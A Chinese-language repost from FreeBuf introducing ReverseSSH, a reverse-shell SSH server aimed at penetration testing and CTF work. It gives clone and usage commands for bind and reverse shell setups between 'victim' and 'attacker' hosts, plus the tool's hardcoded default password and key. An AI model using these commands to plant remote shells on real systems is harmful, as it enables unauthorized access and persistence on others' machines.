前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >ReverseSSH:带有反向Shell功能的静态链接SSH服务器

ReverseSSH:带有反向Shell功能的静态链接SSH服务器

作者头像
FB客服
发布2021-10-21 15:03:18
发布2021-10-21 15:03:18
1.5K00
代码可运行
举报
文章被收录于专栏:FreeBufFreeBuf
运行总次数:0
代码可运行

关于ReverseSSH

ReverseSSH是一款功能强大的静态链接SSH服务器,ReverseSSH带有反向Shell功能,可以帮助广大研究人员提供强大的远程访问功能。该工具主要适用于渗透测试、HackTheBox挑战或CTF比赛等场景。

功能介绍

常见的Shell工具一般都缺少一些方便的功能,比如说完全交互式访问、Tab键补全或历史记录等。在ReverseSSH的帮助下,我们可以轻松在目标主机上部署一台轻量级SSH服务器(<1.5MB),并使用各种强大功能,比如说文件传输和端口转发等等。

ReverseSSH弥补渗透测试人员在目标设备初始访问点和本地权限提升操作之间的间隔距离,其主要优势如下:

完全交互式Shell访问; 通过SFTP实现文件传输功能; 本地/远程/动态端口转发; 可以当作绑定/反向Shell使用; 支持Unix和Windows操作系统;

工具要求

本工具的正常使用要求主机系统安装并配置好Golang环境

系统要求

Linux:内核版本6.23或更高版本; Windows:Windows Server 2008 R2或更高版本、Windows 7或更高版本;

编译环境要求

Golang 1.15; upx(apt install upx-ucl);

工具安装

广大研究人员可以使用下列命令将该项目源码克隆至本地,并进行项目构建:

代码语言:javascript
代码运行次数:0
运行
复制
git clone https://github.com/Fahrj/reverse-ssh.git

或者,可以直接访问该项目的【Releases页面】下载编译好的可执行文件。

工具使用

当ReverseSSH运行之后,我们就可以使用任意用户名以及默认密码“letmeinbrudipls”来与服务器建立连接了。简而言之,我们可以直接将ReverseSSH当作一台SSH服务器来使用:

代码语言:javascript
代码运行次数:0
运行
复制
# 完整交互式Shell访问
ssh -p <RPORT> <RHOST>
# 简单的命令执行
ssh -p <RPORT> <RHOST> whoami
# 完整的文件传输
sftp -P <RPORT> <RHOST>
# 端口9050上作为SOCKS代理的动态端口转发
ssh -p <RPORT> -D 9050 <RHOST>

绑定Shell场景

代码语言:javascript
代码运行次数:0
运行
复制
# 目标主机
victim$./reverse-ssh 
# 攻击者主机(默认密码: letmeinbrudipls)
attacker$ssh -p 31337 <LHOST>

反向Shell场景

代码语言:javascript
代码运行次数:0
运行
复制
# 攻击者主机
attacker$./reverse-ssh -l :<LPORT>
# 目标主机
victim$./reverse-ssh -p <LPORT> <LHOST>
victim$./reverse-ssh <USER>@<LHOST>
# 攻击者主机(默认密码: letmeinbrudipls)
attacker$ssh -p 8888 127.0.0.1
attacker$ssh target

工具完整使用

代码语言:javascript
代码运行次数:0
运行
复制
reverseSSH v1.1.0  Copyright (C) 2021  Ferdinor <ferdinor@mailbox.org>
Usage: reverse-ssh [options] [<user>@]<target>
Examples:
  Bind:
        reverse-ssh
        reverse-ssh -v -l :4444
  Reverse:
        reverse-ssh 192.168.0.1
        reverse-ssh kali@192.168.0.1
        reverse-ssh -p 31337 192.168.0.1
        reverse-ssh -v -b 0 kali@192.168.0.2 
Options:
        -s, Shell to use for incoming connections, e.g. /bin/bash; (default: /bin/bash)
                for windows this can only be used to give a path to 'ssh-shellhost.exe' to
                enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
        -l, Bind scenario only: listen at this address:port (default: :31337)
        -p, Reverse scenario only: ssh port at home (default: 22)
        -b, Reverse scenario only: bind to this port after dialling home (default: 8888)
        -v, Emit log output 
<target>
        Optional target which enables the reverse scenario. Can be prepended with
        <user>@ to authenticate as a different user than 'reverse' while dialling home.
Credentials:
        Accepting all incoming connections from any user with either of the following:
         * Password "letmeinbrudipls"
         * PubKey   "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"

项目地址

ReverseSSH:点击阅读原文

参考资料

https://github.com/Fahrj/reverse-ssh/blob/master/id_reverse-ssh

https://github.com/golang/go/wiki/MinimumRequirements#operating-systems

https://github.com/PowerShell/Win32-OpenSSH/releases/latest

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-10-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 关于ReverseSSH
  • 功能介绍
  • 工具要求
    • 系统要求
    • 编译环境要求
  • 工具安装
  • 工具使用
    • 绑定Shell场景
    • 反向Shell场景
  • 工具完整使用
  • 项目地址
  • 参考资料
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档